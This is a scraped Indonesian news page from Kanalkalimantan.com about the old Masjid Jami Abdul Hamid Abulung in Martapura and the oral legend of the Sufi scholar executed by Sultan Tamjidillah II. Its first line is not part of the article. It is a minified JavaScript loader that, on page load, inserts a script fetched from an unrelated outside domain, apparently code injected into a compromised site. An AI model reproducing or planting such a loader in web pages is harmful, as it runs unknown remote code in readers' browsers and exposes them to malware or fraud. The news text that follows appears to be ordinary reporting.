(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Sebuah masjid kuno yang terletak di Jalan Martapura Lama, Desa Sungai Batang, Kabupaten Banjar, Kalimantan Selatan, menjadi saksi perkembangan Islam di tanah Banjar. Bahkan masjid tersebut merupakan salah satu masjid tertua di Kalimantan Selatan.
Menurut kabar yang beredar dari masyarakat setempat, masjid tersebut usianya diperkirakan sekitar 200 tahun.
Menurut Rifah (45), warga asal Desa Sungai Batang Jalan Martapura Lama Kecamatan Martapura Barat, saat ditemui Kanalkalimantan.com, masjid tersebut terkait dengan salah satu cerita ulama sufi yang dikenal sebagai Datu Abulung.
“Cerita tersebut bahwa dahulu pernah ada salah satu tokoh agama Islam dan ahli sufi yang pintar mengajarkan ilmu tasawuf tetapi tidak disegani raja Banjar, dan akhirnya tewas dibunuh oleh Raja Banjar,” kata Rifah.
Baca juga: Kepala Tergeletak di Belakang Rumah, Mayat Wanita Tanpa Busana di Banjarmasin Diduga Dibunuh
Masyarakat tahu betul tentang kisah Datuk Abulung yang nama lengkapnya adalah Syekh Abdul Hamid Abulung, salah satu tokoh agama Islam dan ahli sufi yang mengajarkan ilmu tasawuf.
Masih berdasarkan kisah dari mulut ke mulut, karena kehebatan sang sufi inilah membuat Raja Banjar kurang berkenan di hati.
Syekh Abdul Hamid Abulung ini kemudian dibunuh oleh Sultan Tamjidillah ll karena dinilai mengajarkan dan menyebarkan ajaran sesat.
Sebelum dilakukan “eksekusi” terhadap sang wali, tokoh sufi pada zaman ini sempat berkata apabila nanti mati dan darahnya berbau busuk maka ajarannya salah dan tidak perlu diikuti lagi. Namun sebaliknya, jika darahnya berbau harum maka ajaran sang wali adalah benar.
Konon, setelah itu dilakukanlah “eksekusi” dengan tombak yang dilakukan oleh para algojo raja. Ternyata darah sang wali berbau harum, bahkan darah segarnya membentuk huruf Allah.
Baca juga: Kepala Tergeletak di Belakang Rumah, Mayat Wanita Tanpa Busana di Banjarmasin Diduga Dibunuh
Setelah mengeksekusi mati Syekh Abdul Hamid Abulung sang Sultan pun merasa bersalah, dan untuk menebus rasa bersalah karena telah mengeksekusi ulama tersebut Sang Sultan membangun sebuah masjid yang diberi nama “Masjid Jami Abdul Hamid Abulung.”
Makamnya juga ditempatkan di seberang sungai, tidak jauh dari masjid. Oleh karena itu, para peziarah umumnya selalu mengunjungi makam, kemudian melakukan shalat di Masjid Datuk Abulung. (Kanalkalimantan.com/shintia)
Reporter: shintia
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More
This website uses cookies.